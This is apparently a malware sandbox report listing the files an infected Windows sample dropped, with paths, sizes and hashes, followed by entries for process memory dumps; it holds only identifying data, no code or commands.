2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsy1B26.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\bgysuulnn\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\bgysuulnn\sbbfgiqug\Result.txt

Filesize
1KB

MD5
49d9a5b43ecc1ce3aa6e613566372554

SHA1
f29aa3fdff4eb840a6c80409cb75a50bfe5604ca

SHA256
a909d3f63e869052e9c698711a58c7002a46c925e9ad4d7603bda86fb104cf52

SHA512
8a70c575cabe78357a1bae52fcc2bef8586ebee7fcd9ac282ed0075f7469ba39b7c2d6b2ab675f3101bc090e1370a3ba547c8c9258d527a7d92e1f4adc14a247

Download Submit
C:\Windows\bgysuulnn\sbbfgiqug\nimusahes.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\bgysuulnn\sbbfgiqug\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\siltueee\ysyeeye.exe

Filesize
7.4MB

MD5
cc4fabb2334574ee7d42686266c43d57

SHA1
0f36174a976725ef85deb4e6d1dfa8535d0a17f5

SHA256
de0246857721400427d52539c98ae71c004a639fd8e390f3f3b49bd724f4c0cf

SHA512
d94e7d5dd62d7e1a304d7f07f1cc20934af73fe10a1afaa1b2ba1caa987d0f25f59e1d1da47e976d94d42ea5404e4fefb88697d1feaec84d9b9e362d9d725497

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
memory/412-207-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/452-194-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/776-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/776-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/1088-179-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/1116-202-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/1272-155-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/1272-142-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/1416-189-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/1612-225-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/2212-223-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp

Filesize
1.1MB

Download
memory/2212-235-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp

Filesize
1.1MB

Download
memory/2212-342-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp

Filesize
1.1MB

Download
memory/2212-186-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp

Filesize
1.1MB

Download
memory/2212-204-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp

Filesize
1.1MB

Download
memory/2212-168-0x0000019FB7190000-0x0000019FB71A0000-memory.dmp

Filesize
64KB

Download
memory/2212-165-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp

Filesize
1.1MB

Download
memory/2212-343-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp

Filesize
1.1MB

Download
memory/2212-182-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp

Filesize
1.1MB

Download
memory/2212-347-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp

Filesize
1.1MB

Download
memory/2212-217-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp

Filesize
1.1MB

Download
memory/2212-293-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp

Filesize
1.1MB

Download
memory/2212-292-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp

Filesize
1.1MB

Download
memory/2212-250-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp

Filesize
1.1MB

Download
memory/2312-198-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/2448-171-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/2496-249-0x0000000000E60000-0x0000000000E72000-memory.dmp

Filesize
72KB

Download
memory/2788-234-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/3248-215-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/3624-239-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/3644-229-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/3852-211-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/4112-232-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/4300-78-0x0000000001000000-0x000000000104C000-memory.dmp

Filesize
304KB

Download
memory/4504-136-0x00007FF6FC410000-0x00007FF6FC4FE000-memory.dmp

Filesize
952KB

Download
memory/4504-138-0x00007FF6FC410000-0x00007FF6FC4FE000-memory.dmp

Filesize
952KB

Download
memory/4588-150-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/4588-162-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4720-237-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/4772-220-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/5060-184-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp

Filesize
364KB

Download
memory/5068-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download